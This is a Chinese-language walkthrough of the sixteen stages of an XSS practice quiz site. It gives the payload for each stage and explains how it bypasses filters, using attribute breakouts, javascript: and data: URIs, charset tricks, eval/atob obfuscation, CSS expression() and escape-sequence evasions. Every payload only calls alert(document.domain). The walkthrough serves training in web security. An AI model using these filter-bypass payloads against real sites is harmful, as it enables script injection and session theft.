地址:http://xss-quiz.int21h.jp/
1)
"</b><img/src=x onerror=alert(document.domain)><b>"
2)
123456" onfocus=alert(document.domain) autofocus xx="
3)
参数p1转义了<、>、”,修改参数p2
Japan</b><script>alert(document.domain)</script><b>
4)
修改参数p3
hackme"><script>alert(document.domain)</script>//
5)
前端做了长度限制,截包修改p1
"><script>alert(document.domain)</script>//
6)
转义了<、> 没有转义”
123456" onfocus=alert(document.domain) autofocus xx="
7)转义了<、>、”
刷入123456发现value值没有双引号包裹。源码如下:
<input type=”text” name=”p1″ size=”50″ value=123456>
可以通过添加一个新的元素
a onmouseover=alert(document.domain)
输出的源码如下:
<input type="text" name="p1" size="50" value=a onmouseover=alert(document.domain)>
8)查看输出在<a href=”{injecthere}”>中
javascript:alert(document.domain)
9)首先注意到输出的源码中有charset项,很明显是通过编码格式绕过过滤。
优快云上有UTF-7的编解码工具” οnmοusemοve=”alert(document.domain)
10)
输入123456″><script>alert(document.domain)</script>
输出如下:
<input type=”text” name=”p1″ size=”50″ value=”123456″><script>alert(document.)</script>”>
可以看到是过滤了domain
a)
然后输入123456"><script>alert(document.domdomainain)</script>即可
b)使用String.fromCharCode
"><script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 100, 111, 109, 97, 105, 110, 41))</script>
c)javascript 使用btoa和atob来进行Base64转码和解码
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
11)
测试123456″><script>alert(1)</script>
发现script被替换为xscript
测试123456″><img src=x οnerrοr=alert(1)>
发现JS事件被替换为onxxx
测试123456″><iframe src=javascript:alert(1)>
发现javascript被替换为javaxscript
这里想到了使用data协议
"><iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+'></iframe>
12)过滤的正则”s/[\x00-\x20\<\>\”\’]//g;”
单引号 双引号 尖括号都过滤了
`` onmouseover=alert(document.domain)
这个必须是在IE下才能触发。
13)这个是CSS中的XSS,输出环境是在style中
xss:expression(alert(document.domain))
background-image:url(javascript:alert(document.domain))
14)s/(url|script|eval|expression)/xxx/ig;
expression的绕过方式很多
<div style="xss:expre/**/ssion(alert(1))">样式表中的/**/会被忽略
<div style="xss:expre\ssion(alert(1))">样式表中的\
<div style="xss:\65xpression(alert(1))">
15)
输入<script>alert(1)</script>可以看到尖括号被转义了,因为输出环境是在JS中,所以可以使用16进制编码
\x3cscript\x3ealert(document.domain)\x3c/script\x3e
发现过滤了\,然后将\替换为\\即可。
\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e
\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e
16) “s/\\x/\\\\x/ig;”
这道题只是替换了\x
\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e